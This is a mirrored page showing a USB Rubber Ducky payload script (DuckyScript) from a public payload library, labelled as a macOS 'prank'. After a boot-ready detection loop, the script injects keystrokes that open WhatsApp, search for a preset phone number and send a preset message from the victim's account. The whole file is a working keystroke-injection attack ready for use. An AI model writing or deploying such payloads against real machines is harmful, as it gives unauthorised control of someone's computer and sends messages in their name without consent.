Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Send-WhatsApp-Messages-MacOS/payload.txt
3018 views
1
REM_BLOCK
2
#################################################
3
# #
4
# Title : Send WhatsApp Messages - MacOS #
5
# Author : bst04 - Aleff #
6
# Version : 1.0 #
7
# Category : Prank #
8
# Target : MacOS #
9
# #
10
#################################################
11
END_REM
12
13
14
REM Enter the phone number to which you want to send the message via Whatsapp
15
DEFINE #PHONE-NUMBER example
16
17
REM Write the message you wish to send
18
DEFINE #TEXT-MESSAGE example
19
20
EXTENSION DETECT_READY
21
REM VERSION 1.1
22
REM AUTHOR: Korben
23
24
REM_BLOCK DOCUMENTATION
25
USAGE:
26
Extension runs inline (here)
27
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
28
boot delay
29
30
TARGETS:
31
Any system that reflects CAPSLOCK will detect minimum required delay
32
Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
33
END_REM
34
35
REM CONFIGURATION:
36
DEFINE #RESPONSE_DELAY 25
37
DEFINE #ITERATION_LIMIT 120
38
39
VAR $C = 0
40
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))
41
CAPSLOCK
42
DELAY #RESPONSE_DELAY
43
$C = ($C + 1)
44
END_WHILE
45
CAPSLOCK
46
END_EXTENSION
47
48
REM Another pinch of delay in accordance with https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready
49
DELAY 200
50
51
GUI h
52
DELAY 150
53
GUI SPACE
54
DELAY 150
55
BACKSPACE
56
DELAY 500
57
STRINGLN WhatsApp
58
DELAY 1500
59
GUI f
60
DELAY 500
61
STRINGLN #PHONE-NUMBER
62
DELAY 250
63
DOWNARROW
64
DELAY 250
65
DOWNARROW
66
DELAY 250
67
SPACE
68
DELAY 250
69
STRINGLN #TEXT-MESSAGE
70
71